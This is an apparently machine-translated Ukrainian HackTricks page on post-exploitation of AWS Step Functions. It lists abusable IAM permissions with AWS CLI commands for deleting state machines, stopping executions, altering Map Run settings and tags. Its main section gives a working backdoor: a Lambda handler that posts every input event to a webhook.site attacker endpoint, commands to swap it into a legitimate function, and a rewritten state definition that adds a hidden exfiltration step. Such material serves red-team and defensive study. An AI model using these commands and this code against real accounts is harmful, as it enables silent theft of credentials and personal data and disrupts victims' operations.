AWS - Step Functions Post Exploitation
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Step Functions
Для отримання додаткової інформації про цю службу AWS, перегляньте:
states:RevealSecrets
Цей дозвіл дозволяє викривати секретні дані під час виконання. Для цього потрібно встановити рівень перевірки на TRACE і параметр revealSecrets на true.
.png)
states:DeleteStateMachine
, states:DeleteStateMachineVersion
, states:DeleteStateMachineAlias
Зловмисник з цими дозволами зможе назавжди видалити машини станів, їх версії та псевдоніми. Це може порушити критичні робочі процеси, призвести до втрати даних і вимагати значного часу для відновлення та відновлення постраждалих машин станів. Крім того, це дозволить зловмиснику приховати сліди, що використовуються, порушити судово-медичні розслідування та потенційно паралізувати операції, видаливши важливі автоматизовані процеси та конфігурації станів.
note
- Видаляючи машину станів, ви також видаляєте всі її асоційовані версії та псевдоніми.
- Видаляючи псевдонім машини станів, ви не видаляєте версії машини станів, що посилаються на цей псевдонім.
- Неможливо видалити версію машини станів, яка в даний час посилається на один або кілька псевдонімів.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Потенційний вплив: Порушення критичних робочих процесів, втрата даних та простої в роботі.
states:UpdateMapRun
Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, маючи можливість збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зменшуючи це значення до 0, так що щоразу, коли елемент зазнає невдачі, все виконання карти зазнає невдачі, що безпосередньо вплине на виконання станів і потенційно порушить критичні робочі процеси.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Потенційний вплив: Зниження продуктивності та порушення критичних робочих процесів.
states:StopExecution
Зловмисник з цим дозволом може зупинити виконання будь-якої машини станів, порушуючи поточні робочі процеси та процеси. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та потенційного пошкодження даних.
warning
Ця дія не підтримується express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Потенційний вплив: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних.
states:TagResource
, states:UntagResource
Зловмисник може додавати, змінювати або видаляти теги з ресурсів Step Functions, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Потенційний вплив: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
states:UpdateStateMachine
, lambda:UpdateFunctionCode
Зловмисник, який компрометує користувача або роль з наступними дозволами:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...може провести високоефективну та приховану атаку після експлуатації, поєднуючи зворотне програмування Lambda з маніпуляцією логікою Step Function.
Цей сценарій передбачає, що жертва використовує AWS Step Functions для оркестрації робочих процесів, які обробляють чутливі дані, такі як облікові дані, токени або PII.
Приклад виклику жертви:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Якщо Step Function налаштовано для виклику Lambda, як-от LegitBusinessLogic
, зловмисник може продовжити з двома прихованими варіантами атаки:
Оновлено функцію lambda
Зловмисник змінює код функції Lambda, яка вже використовується Step Function (LegitBusinessLogic
), щоб безшумно ексфільтрувати вхідні дані.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Додати Шкідливий Стан до Функції Кроків
Альтернативно, зловмисник може впровадити exfiltration state на початку робочого процесу, оновивши визначення Функції Кроків.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Атакуючий може ще більш непомітно оновити визначення стану на щось подібне до цього { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } де жертва не помітить різниці
Налаштування жертви (Контекст для експлуатації)
- Використовується функція Step (
LegitStateMachine
) для обробки чутливого вводу користувача. - Вона викликає одну або кілька функцій Lambda, таких як
LegitBusinessLogic
.
Потенційний вплив:
- Тиха ексфільтрація чутливих даних, включаючи секрети, облікові дані, API ключі та PII.
- Відсутність видимих помилок або збоїв у виконанні робочого процесу.
- Важко виявити без аудиту коду Lambda або слідів виконання.
- Дозволяє довгострокову стійкість, якщо бекдор залишається в коді або логіці ASL.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.